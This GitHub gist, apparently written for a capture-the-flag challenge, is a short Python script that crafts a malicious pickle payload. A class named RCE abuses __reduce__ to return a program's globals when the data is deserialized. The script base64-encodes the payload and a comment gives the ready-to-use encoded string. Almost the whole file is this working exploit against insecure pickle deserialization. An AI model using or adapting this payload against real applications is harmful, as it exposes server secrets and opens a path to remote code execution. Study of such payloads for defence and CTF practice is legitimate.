Created
June 20, 2020 15:13
-
-
Save Jonoans/1aee15ff5b7b9faf59b724af39c822a8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pickle | |
import base64 | |
class RCE(object): | |
def __reduce__(self): | |
return (globals, () ) | |
class RCEStr(object): | |
def __reduce__(self): | |
return (str, (RCE(), ) ) | |
pickle_data = pickle.dumps({'name': RCEStr()}) | |
payload = base64.urlsafe_b64encode(pickle_data) | |
print(payload.decode('utf-8')) | |
# Outputs: gASVPAAAAAAAAAB9lIwEbmFtZZSMCGJ1aWx0aW5zlIwDc3RylJOUjAhidWlsdGluc5SMB2dsb2JhbHOUk5QpUpSFlFKUcy4= |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment